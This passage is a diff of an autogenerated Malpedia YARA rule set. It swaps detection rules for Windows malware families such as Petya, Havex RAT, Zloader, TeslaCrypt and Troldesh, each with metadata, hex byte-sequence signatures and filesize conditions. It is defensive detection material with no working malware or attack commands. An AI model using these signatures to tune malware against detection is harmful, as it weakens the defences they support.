-		id = "d9a77562-a232-5aff-a461-f3720889bdae"
+		id = "cb4848d9-dd93-5427-b320-640a482386ab"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.petya"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.petya_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.havex_rat_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "e514cd58bfcd6e8ef482bd5780bb94df60b153546d27b2b89cfad52214dcb51a"
+		logic_hash = "fa73eedcf8aaa6cbc56ae3cdeefa1daf5290fc7704b83fa7deffe1125fde8d25"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131221,32 +138455,32 @@ rule MALPEDIA_Win_Petya_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a03 6800001080 51 ff15???????? 83f8ff }
-		$sequence_1 = { 57 33ff 3b750c 0f47d9 85db 7410 8b06 }
-		$sequence_2 = { 0f42f2 6a04 56 e8???????? 8bd8 }
-		$sequence_3 = { 8bc6 8bca c1e303 0facc110 897c2424 c1e810 }
-		$sequence_4 = { 8d4e1c e8???????? 8d4e28 e8???????? 8d4e4c e8???????? 837e7400 }
-		$sequence_5 = { 83e804 4e 75f5 46 3bf2 53 }
-		$sequence_6 = { 8b4e74 03cb e8???????? 47 83c324 3b7e78 72ed }
-		$sequence_7 = { 85db 7410 8b06 85c0 7402 ffd0 }
-		$sequence_8 = { 0fa4df03 c1e818 884c242c 8bc6 }
-		$sequence_9 = { 8d4e04 e8???????? 8d4e10 e8???????? 8d4e1c }
+		$sequence_0 = { 134304 8937 ebd8 8917 c74704ffffff7f 8bc7 5e }
+		$sequence_1 = { 0fb7c0 b9ffff0000 663bc8 7576 834dec04 33f6 3975ec }
+		$sequence_2 = { e8???????? 8bcf c745dcac230510 e8???????? e8???????? c20400 6a30 }
+		$sequence_3 = { 297d78 c78580000000feffffff 29bd80000000 8d4417ff 660fb67801 66c1e908 66c1e708 }
+		$sequence_4 = { 56 8d8550feffff e8???????? ff757c 8d8550feffff ff7574 }
+		$sequence_5 = { 8b7d08 59 59 3bc3 7404 8938 eb02 }
+		$sequence_6 = { 84c0 0f854bffffff 33f6 e9???????? 8bb5c8fdffff e9???????? 55 }
+		$sequence_7 = { 740a 6683f85c 0f858e000000 83c8ff 5f 5e 5b }
+		$sequence_8 = { 68???????? 8d4c2414 e8???????? 8d442410 50 8d4c2430 897c2464 }
+		$sequence_9 = { 5b c9 c3 55 8bec 8b4614 83ec10 }
 
 	condition:
-		7 of them and filesize <229376
+		7 of them and filesize <892928
 }
-rule MALPEDIA_Win_Graphite_Auto : FILE
+rule MALPEDIA_Win_Webc2_Yahoo_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "22d6771d-6e02-5bad-92aa-7abf2f0540bc"
+		id = "63230a4f-7913-5b93-bb9a-30d89db03d73"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphite"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.graphite_auto.yar#L1-L109"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_yahoo"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_yahoo_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "fac8314c02add0a1a3fcfc7bc6cd359f12eb58a8246911250bf475b51a803e3f"
+		logic_hash = "f89dfba6353885aa09b69faf5df0db1655d3acae8a14a8bbfd9acb6fd6fd17df"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131260,32 +138494,32 @@ rule MALPEDIA_Win_Graphite_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7513 33d2 e8???????? 84c0 }
-		$sequence_1 = { 33d2 e8???????? 84c0 74e4 }
-		$sequence_2 = { 81e2ff030000 81e1bf030000 83c940 c1e10a }
-		$sequence_3 = { 7513 33d2 e8???????? 84c0 74e4 }
-		$sequence_4 = { 81e1bf030000 83c940 c1e10a 0bca }
-		$sequence_5 = { ff15???????? 33c0 eb05 b801010000 }
-		$sequence_6 = { 85db 7513 33d2 e8???????? 84c0 74e4 }
-		$sequence_7 = { 85db 7513 33d2 e8???????? 84c0 }
-		$sequence_8 = { 85db 7513 33d2 e8???????? }
-		$sequence_9 = { 81e2ff030000 81e1bf030000 83c940 c1e10a 0bca }
+		$sequence_0 = { 59 7513 ff15???????? 8986a0841e00 }
+		$sequence_1 = { 56 ff15???????? 802000 56 e8???????? }
+		$sequence_2 = { 53 50 50 53 ff750c ff15???????? 57 }
+		$sequence_3 = { 39be9c841e00 59 7513 ff15???????? 8986a0841e00 33c0 }
+		$sequence_4 = { c745fc01000000 aa e8???????? 59 8d85f4d7ffff 50 8d45f8 }
+		$sequence_5 = { 50 8d45f8 50 8d85f4afffff }
+		$sequence_6 = { 8b7518 83c414 8d85fcd7ffff 8bcb }
+		$sequence_7 = { 8b4d08 e8???????? 85c0 53 }
+		$sequence_8 = { 59 50 ff75f8 ff75fc ffb69c841e00 ff15???????? }
+		$sequence_9 = { 8d85c8fcffff 68???????? 50 e8???????? 83c410 85c0 7466 }
 
 	condition:
-		7 of them and filesize <98304
+		7 of them and filesize <8060928
 }
-rule MALPEDIA_Win_Avrecon_Auto : FILE
+rule MALPEDIA_Win_Sphijacker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "554ca169-95af-5a89-9a56-ddcba6897449"
+		id = "02bebd5c-3234-51fc-b1c7-c2b759df0e10"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avrecon"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.avrecon_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sphijacker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sphijacker_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "9c9411fb28d3d6162f9e1c850b8f8c9dc5dad1f470c391d983f628f3870dd7ec"
+		logic_hash = "b2eaf40d7ebf7c9c6d61e8db2a040734266a57e7998ddc628afd90d30231d5ef"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131299,32 +138533,32 @@ rule MALPEDIA_Win_Avrecon_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 56 e8???????? 85c0 0f8577020000 8d8584fbffff 50 56 }
-		$sequence_1 = { 89b5f0fdffff 899decfdffff 89b5f4feffff 899df0feffff ff15???????? 8945fc }
-		$sequence_2 = { 56 47 e8???????? 0fb7f0 663bf3 0f869b030000 }
-		$sequence_3 = { e8???????? 53 ff15???????? 8b35???????? 8d4554 50 0fb705???????? }
-		$sequence_4 = { e8???????? 83c410 5e c3 55 8bec 81ec04010000 }
-		$sequence_5 = { 50 6880000000 57 ff7508 ffd6 6a04 8d45f8 }
-		$sequence_6 = { 49 7524 50 a3???????? ff15???????? e8???????? }
-		$sequence_7 = { e8???????? 56 6a08 8d45d8 50 ff7508 c645d800 }
-		$sequence_8 = { 56 8bf8 ff15???????? 668bc7 5f 5e }
-		$sequence_9 = { 50 8d85c0f7ffff 50 e8???????? 8d85a8f7ffff 50 894534 }
+		$sequence_0 = { 488b0d???????? 488d1d19080200 483bcb 740c }
+		$sequence_1 = { 8b7808 e9???????? 488b55c8 4c8d05cbb10100 }
+		$sequence_2 = { 4c8d056b740100 83e23f 488bcf 48c1f906 488d14d2 498b0cc8 8064d138fd }
+		$sequence_3 = { 7c68 488b4718 488b08 420fb70451 2500800000 7455 488b8360040000 }
+		$sequence_4 = { 488bd1 488bc1 48c1f806 4c8d05e4bd0100 83e23f 488d14d2 498b04c0 }
+		$sequence_5 = { 33d2 f20f100d???????? 41b8ee010000 66898dc8070000 }
+		$sequence_6 = { e8???????? 448ba560010000 8b4c2440 488d15d9e8feff 2b4c2444 41b826000000 894c2440 }
+		$sequence_7 = { c744242804000000 488d1585e10100 41b904000000 4889442420 4533c0 c7451088888888 ff15???????? }
+		$sequence_8 = { ff15???????? 488b4d18 4c8d4520 488d159ee00100 ff15???????? 488b4d20 }
+		$sequence_9 = { 8b4814 c1e90c 4184cd 740e 488b8360040000 4883780800 7419 }
 
 	condition:
-		7 of them and filesize <360448
+		7 of them and filesize <808960
 }
-rule MALPEDIA_Win_Bistromath_Auto : FILE
+rule MALPEDIA_Win_Asprox_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "62a1b548-25a5-5273-be8b-9848556649f4"
+		id = "828c56dd-0390-5296-8de7-1a48d10f0f57"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bistromath"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bistromath_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.asprox"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.asprox_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "b9314d0c2625ba0e21f5bfba175e042ed0e577dd2d934e440857096b6f3294e9"
+		logic_hash = "3b610e4cac05eeb099f6aceb2af12383510de1c04c209adb95ec16fa7dbc09d7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131338,34 +138572,34 @@ rule MALPEDIA_Win_Bistromath_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 85c0 741d 0f57c0 0f1100 0f114010 660fd64020 }
-		$sequence_1 = { ff75f0 56 e8???????? 8b45f8 83c40c c6040600 8bce }
-		$sequence_2 = { eb24 8d5001 e8???????? 8bf0 85f6 7416 ff75fc }
-		$sequence_3 = { e8???????? 8b4580 46 3bf0 7ce8 33f6 85db }
-		$sequence_4 = { e8???????? 8b4c2410 8901 83c718 8b442424 83c104 894c2410 }
-		$sequence_5 = { 8b45e8 85c0 0f84bb250000 ff474c 8d535f 8b7f4c 8bce }
-		$sequence_6 = { e8???????? 8945e4 85c0 0f84e1010000 ff75f0 33d2 8bcb }
-		$sequence_7 = { ff75fc e8???????? 8bf0 83c404 85f6 7418 8d45fc }
-		$sequence_8 = { 8b4df8 e8???????? 8b5324 8b4df8 e8???????? 6a30 6a00 }
-		$sequence_9 = { 83c404 46 8d7efe 83fe02 7304 33d2 eb2e }
+		$sequence_0 = { 85c0 740f 6a00 ff15???????? 50 ff15???????? ff15???????? }
+		$sequence_1 = { ff15???????? 6a00 6a00 8b5518 52 8b45c4 }
+		$sequence_2 = { 898558ffffff 8b8560ffffff 898570ffffff 8b4ddc 898d30ffffff c78534ffffff00000000 }
+		$sequence_3 = { 0fb655fd 83fa01 0f8503010000 c6859ffeffff00 68???????? ff15???????? 8985a4feffff }
+		$sequence_4 = { ff45fc 83c004 817dfcff000000 7ede 83a34404000000 ba00010000 8d8348040000 }
+		$sequence_5 = { 8d849d20feffff 894dc0 8945b0 8b00 8bcf 2bc8 895dbc }
+		$sequence_6 = { 51 8b952cffffff 52 ff15???????? 898558ffffff 8b8560ffffff 898570ffffff }
+		$sequence_7 = { 57 395d08 0f8498000000 8b750c 3bf3 0f848d000000 8b7d10 }
+		$sequence_8 = { 50 ff15???????? 898558ffffff 8b4dd8 }
+		$sequence_9 = { 8d840a00100000 50 6a00 8b0d???????? 51 ff15???????? 8945fc }
 
 	condition:
-		7 of them and filesize <33816576
+		7 of them and filesize <155648
 }
-rule MALPEDIA_Win_Zloader_Auto : FILE
+rule MALPEDIA_Win_Gratem_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "97b40e53-0323-5f57-82eb-14236d63ac31"
+		id = "89f0dee2-28c6-5a10-a3ad-288a448f45ac"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zloader_auto.yar#L1-L384"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gratem"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gratem_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "d615cfd8aec428fea853159c669b5f75c64755d955e56d958f0ce28518a00d78"
+		logic_hash = "b58ab0ade84c3286830362f0f11bfb9519b8733c76dfe4e9cd7ba24746663e50"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -131377,101 +138611,71 @@ rule MALPEDIA_Win_Zloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 57 6a01 56 ffd0 89f7 89f8 }
-		$sequence_1 = { 57 56 83ec0c 8b5d0c 8b7d10 8d75e8 89f1 }
-		$sequence_2 = { 55 89e5 56 8b7508 ff36 e8???????? 83c404 }
-		$sequence_3 = { 0fb7450c 8d9df0feffff 53 50 ff7508 e8???????? }
-		$sequence_4 = { 57 56 8b7d08 57 e8???????? }
-		$sequence_5 = { 0fb7c0 57 50 53 e8???????? 83c40c 89f1 }
-		$sequence_6 = { 53 56 83ec0c 8d75ec 56 6aff }
-		$sequence_7 = { 55 89e5 56 8b750c ff7508 e8???????? 83c404 }
-		$sequence_8 = { 56 50 a1???????? 89c1 }
-		$sequence_9 = { 5e 8bc3 5b c3 8b44240c }
-		$sequence_10 = { 68???????? ff742408 e8???????? 59 59 84c0 741e }
-		$sequence_11 = { e8???????? 59 84c0 7432 68???????? ff742408 e8???????? }
-		$sequence_12 = { 57 56 50 8b4510 31db }
-		$sequence_13 = { e8???????? 03c0 6689442438 8b442438 }
-		$sequence_14 = { 6aff 50 e8???????? 8d857cffffff 50 }
-		$sequence_15 = { 50 89542444 e8???????? 03c0 }
-		$sequence_16 = { 6689442438 8b442438 83c002 668944243a }
-		$sequence_17 = { 83c414 c3 56 ff742410 }
-		$sequence_18 = { 99 52 50 8d44243c 99 52 50 }
-		$sequence_19 = { c6043000 5e c3 56 57 8b7c2414 83ffff }
-		$sequence_20 = { 50 56 56 56 ff7514 }
-		$sequence_21 = { 83c408 5e 5d c3 55 89e5 57 }
-		$sequence_22 = { 6a00 e8???????? 83c414 c3 8b542404 }
-		$sequence_23 = { c7462401000000 c7462800004001 e8???????? 89460c }
-		$sequence_24 = { 81c4a8020000 5e 5f 5b }
-		$sequence_25 = { 55 89e5 53 57 56 81eca8020000 }
-		$sequence_26 = { e9???????? 31c0 83c40c 5e 5f }
-		$sequence_27 = { 0bc3 a3???????? e8???????? 8bc8 eb06 8b0d???????? 85c9 }
-		$sequence_28 = { 89b42430010000 8b842430010000 8b842430010000 890424 c74424041c010000 e8???????? }
-		$sequence_29 = { 89cf 8d0476 8945ec 890424 }
-		$sequence_30 = { 50 6a72 e8???????? 59 }
-		$sequence_31 = { 56 57 ff750c 33db 68???????? 6880000000 50 }
-		$sequence_32 = { 8bc2 ebf7 8d442410 50 ff742410 ff742410 ff742410 }
-		$sequence_33 = { 56 68???????? ff742410 e8???????? 6823af2930 56 ff742410 }
-		$sequence_34 = { 50 e8???????? 68???????? 56 e8???????? 8bf0 59 }
-		$sequence_35 = { 5f 5e 5b c3 8bc2 ebf8 53 }
-		$sequence_36 = { 33f6 e8???????? ff7508 8d85f0fdffff 68???????? }
-		$sequence_37 = { 68???????? 56 e8???????? 5e c3 56 }
-		$sequence_38 = { 8d85f0fdffff 68???????? 6804010000 50 e8???????? 83c414 8d45fc }
-		$sequence_39 = { 8bc2 ebf8 53 8b5c240c 55 33ed }
+		$sequence_0 = { c744242404000000 ffd5 85c0 0f84b2000000 }
+		$sequence_1 = { 884e13 66a1???????? 33c9 6685c0 741f 0fb7c0 ba000c0000 }
+		$sequence_2 = { ff15???????? 8b442414 50 ff15???????? 8b5c2410 56 }
+		$sequence_3 = { 85c0 7405 e8???????? 8b8c24d4070000 5e 33cc }
+		$sequence_4 = { 663bc2 0f84ac030000 0fb7048d64bc4000 41 }
+		$sequence_5 = { 8b4c2440 8b542418 894114 895110 }
+		$sequence_6 = { 6a00 50 e8???????? 83c40c 6805010000 8d4c2404 51 }
+		$sequence_7 = { 53 ff54244c 85c0 8b442414 }
+		$sequence_8 = { 0fb7c0 baa8540000 663bc2 0f8420050000 0fb7048d64bc4000 41 }
+		$sequence_9 = { 56 8d34c5c0b84000 833e00 7513 50 e8???????? }
 
 	condition:
-		7 of them and filesize <1105920
+		7 of them and filesize <155648
 }
-rule MALPEDIA_Win_Unidentified_061_Auto : FILE
+rule MALPEDIA_Win_Nullmixer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "59888b60-a3e6-5e9f-a441-429646fe0731"
-		date = "2023-07-11"
-		modified = "2023-07-15"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_061"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_061_auto.yar#L1-L123"
+		id = "e761e8a0-6032-5175-8c62-373d3cfdbd32"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nullmixer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nullmixer_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "ee3ce5b6c77f09c690f7a934c26be09c58c4fcdee70275b61c00e527d8aa097d"
+		logic_hash = "ff19905731e10511745fb317854603fdd089737424883a407ad871400c764a1f"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20230705"
-		malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41"
-		malpedia_version = "20230715"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d85d4fdffff 50 e8???????? c9 }
-		$sequence_1 = { 89b5f0fdffff 899decfdffff 89b5f4feffff 899df0feffff ff15???????? 8945fc }
-		$sequence_2 = { 51 8365fc00 8d45fc 50 68???????? 6801000080 ff15???????? }
-		$sequence_3 = { 8945f0 0fb705???????? 50 ff15???????? 668945ee }
-		$sequence_4 = { 68???????? 56 ff15???????? 83c41c 8d4601 5e eb09 }
-		$sequence_5 = { 7417 03f3 3bf7 7ccb eb2f 7d29 }
-		$sequence_6 = { 83cfff c6457300 3b7566 7cb5 3b7566 }
-		$sequence_7 = { 53 57 6a04 33ff 33db }
-		$sequence_8 = { 5b c9 c20800 81ec00040000 68???????? 68???????? ff15???????? }
-		$sequence_9 = { eb04 c645fb3d 6a05 8d45f8 50 ff750c c645fc00 }
+		$sequence_0 = { 6683fa05 0f8726010000 83e857 83f8ff 0f85d0fcffff 8d7600 }
+		$sequence_1 = { c7442404???????? c70424???????? c705????????d09d4a00 e8???????? c705????????01000000 83ec08 89d9 }
+		$sequence_2 = { a3???????? 8d8568feffff c7442408???????? c7442404???????? 890424 e8???????? 8d8568feffff }
+		$sequence_3 = { 8901 8d44241f 89442408 e8???????? 31d2 c7400800000000 83c00c }
+		$sequence_4 = { c784245001000000000000 31c9 e9???????? 8b8c2450010000 e8???????? b8ffffffff 8b94245c010000 }
+		$sequence_5 = { 01c9 896c2404 894c2408 890424 e8???????? e9???????? 8b442448 }
+		$sequence_6 = { 398424d0000000 0f8430050000 8b06 c744240400000000 89f1 0fb75502 891424 }
+		$sequence_7 = { 83f90f 0f4fc8 8b45a8 3975ac 19f8 0f82d0000000 8b55bc }
+		$sequence_8 = { 83ec04 837d8010 8d75b4 0f94c2 8b4808 39f9 894d8c }
+		$sequence_9 = { 89f1 e8???????? 8b06 89f1 c704242b000000 ff5018 52 }
 
 	condition:
-		7 of them and filesize <360448
+		7 of them and filesize <2351104
 }
-rule MALPEDIA_Win_Lambload_Auto : FILE
+rule MALPEDIA_Win_Teslacrypt_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ca98537a-be45-5b55-a54c-745fd9ea79b6"
+		id = "cf4cf463-c704-58da-bdf6-218fd6a96530"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lambload"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lambload_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.teslacrypt"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.teslacrypt_auto.yar#L1-L177"
 		license_url = "N/A"
-		logic_hash = "6692a5aefbbf1fabc4e1d13310c5f00b33c64ae692d0893f079fb461da4727d8"
+		logic_hash = "204f6818406ce562647f2b4540c54737aa88569de9afd450b681fd9a49a46e00"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131485,32 +138689,38 @@ rule MALPEDIA_Win_Lambload_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffb5e4f7ffff e8???????? 0fb74624 57 57 6a03 }
-		$sequence_1 = { ff15???????? 47 83ff02 7caa 83c8ff 5f 5e }
-		$sequence_2 = { 74c5 57 57 57 ff7608 ff15???????? 85c0 }
-		$sequence_3 = { 8b6c2424 83c408 3be8 7e02 8be8 }
-		$sequence_4 = { 897dfc 897dd8 83ff40 0f8d3b010000 8b34bd00490710 85f6 }
-		$sequence_5 = { 83c420 837e1804 750d b800308000 }
-		$sequence_6 = { f7f9 8955fc e8???????? 99 b9ffff0000 f7f9 }
-		$sequence_7 = { be???????? 50 a5 e8???????? 83c40c }
-		$sequence_8 = { 0fb78c05ecfbffff 66898c05f4fdffff 83c002 663bce 75e8 53 8d85ecfbffff }
-		$sequence_9 = { 33c0 8a540430 8a8be8330710 32ca 888be8330710 43 3bdd }
+		$sequence_0 = { 31f7 897d24 31f9 894d28 31ca 89552c 89d0 }
+		$sequence_1 = { 334534 894554 334538 894558 }
+		$sequence_2 = { 3345f8 894518 3345fc 89451c 51 52 89f2 }
+		$sequence_3 = { 0f8452030000 81ffc0000000 0f84ac010000 81ffe0000000 740a b8ffffffff }
+		$sequence_4 = { 31f7 897d44 31f9 894d48 31ca }
+		$sequence_5 = { 334538 894558 33453c 89455c 51 52 89f2 }
+		$sequence_6 = { 31f7 897d04 31f9 894d08 }
+		$sequence_7 = { 335d04 334d08 33550c 81ffa0000000 0f8456030000 }
+		$sequence_8 = { 0f842d010000 8b44243c 8b08 83f900 894c2430 741f 8b442464 }
+		$sequence_9 = { 8b4c2430 01c8 8b542474 8b742470 031406 891406 }
+		$sequence_10 = { 890c24 e8???????? 8d0dc1304b00 8b542410 894208 890c24 }
+		$sequence_11 = { 8902 83f800 894c2408 7432 8b442418 83c004 }
+		$sequence_12 = { 31c0 8b4c2414 29c8 8b54240c 21c2 01ca 89542408 }
+		$sequence_13 = { b801000000 8b4c245c 8b9180000000 8b742464 01d6 8b7c2464 8b54170c }
+		$sequence_14 = { c70100000000 c7410c00000000 c7410800000000 8b0d???????? 8b4920 8b742450 8b7a38 }
+		$sequence_15 = { 8b5120 89e6 8d7c2468 897e0c }
 
 	condition:
-		7 of them and filesize <1039360
+		7 of them and filesize <1187840
 }
-rule MALPEDIA_Win_Darkshell_Auto : FILE
+rule MALPEDIA_Win_Tildeb_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "54238af5-7449-55bf-9dc2-08b5916a169b"
+		id = "e4d2b91f-a0b2-5435-bc42-03da5ff53194"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkshell"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkshell_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tildeb"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tildeb_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "b58c1bc2e0988d2ff26125d2777445ac18dab56ca2991d83e57c5d570ae3c235"
+		logic_hash = "5eed583e8de669a9ccc3c14def00c8dc34c80dd8549b8a02a48ebd34aae4a3b5"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131524,32 +138734,32 @@ rule MALPEDIA_Win_Darkshell_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c004 8901 83c014 8902 6681380b01 7511 }
-		$sequence_1 = { 6a00 6a00 50 53 ffd5 8be8 }
-		$sequence_2 = { 7413 8b4c2410 8b54240c 51 52 ffd0 }
-		$sequence_3 = { ff542414 53 ff542414 56 ff15???????? }
-		$sequence_4 = { 8d542418 6a04 52 684be12200 50 }
-		$sequence_5 = { e8???????? 8b4c2414 8bf0 8b442418 6800400000 50 }
-		$sequence_6 = { 89442418 ffd7 6a00 6a00 6a00 6a00 }
-		$sequence_7 = { 55 ff542424 55 ff542414 53 }
-		$sequence_8 = { 8902 6681380b01 7511 8b4c2410 05e0000000 8901 b801000000 }
-		$sequence_9 = { ff15???????? 8b542410 8d4c2414 51 6a04 52 }
+		$sequence_0 = { 8d4dbc 51 56 ff15???????? 56 ff15???????? }
+		$sequence_1 = { 6a00 6a00 ff15???????? 85c0 0f84f5090000 68???????? }
+		$sequence_2 = { 57 6a40 c644241300 ff15???????? 50 ff15???????? }
+		$sequence_3 = { 85c0 7445 50 68???????? 68???????? ff15???????? 83c40c }
+		$sequence_4 = { e8???????? 6a00 6a08 8d85d4f5ffff 50 }
+		$sequence_5 = { 68???????? 57 56 ff15???????? 8945bc 85c0 7457 }
+		$sequence_6 = { c3 b815000000 5e 81c494010000 c3 f7d8 5e }
+		$sequence_7 = { eb40 8d458c 50 68???????? eb35 }
+		$sequence_8 = { 53 55 8bac2410010000 56 8b35???????? 57 68???????? }
+		$sequence_9 = { 6800000088 68???????? 68???????? 6a00 ff15???????? 8b0d???????? }
 
 	condition:
-		7 of them and filesize <344064
+		7 of them and filesize <8532488
 }
-rule MALPEDIA_Win_Troldesh_Auto : FILE
+rule MALPEDIA_Win_Mechanical_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7a3f582f-20a8-506d-8165-0b2ca7b385f0"
+		id = "2ebc8e2c-9656-5fd5-9240-713f089f8d21"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.troldesh"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.troldesh_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mechanical"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mechanical_auto.yar#L1-L158"
 		license_url = "N/A"
-		logic_hash = "0484cce0fd00b2a95d24b675e3e6f5f144cbe86411aeac4268060b95d7df46bc"
+		logic_hash = "0d673fb1f58f38008ae08ad0a2913e65568b1230b5de3947ba7af4a4e448c6f0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131563,32 +138773,38 @@ rule MALPEDIA_Win_Troldesh_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff74241c 8d44247c ff74241c 50 e8???????? 8b8e18050000 83c40c }
-		$sequence_1 = { e8???????? 8b4510 8b4008 68ffffff7f 6a00 6a0a ff30 }
-		$sequence_2 = { eb17 51 50 8d45d8 50 e8???????? 8b4514 }
-		$sequence_3 = { ff7314 e8???????? 59 8b4df4 89431c 85c0 7511 }
-		$sequence_4 = { e9???????? 8b4ddc e8???????? 33c0 83c604 8975f8 8b7508 }
-		$sequence_5 = { e8???????? a3???????? e8???????? 8bf0 8974242c e8???????? 6a00 }
-		$sequence_6 = { ff7720 89742414 56 e8???????? 59 59 85c0 }
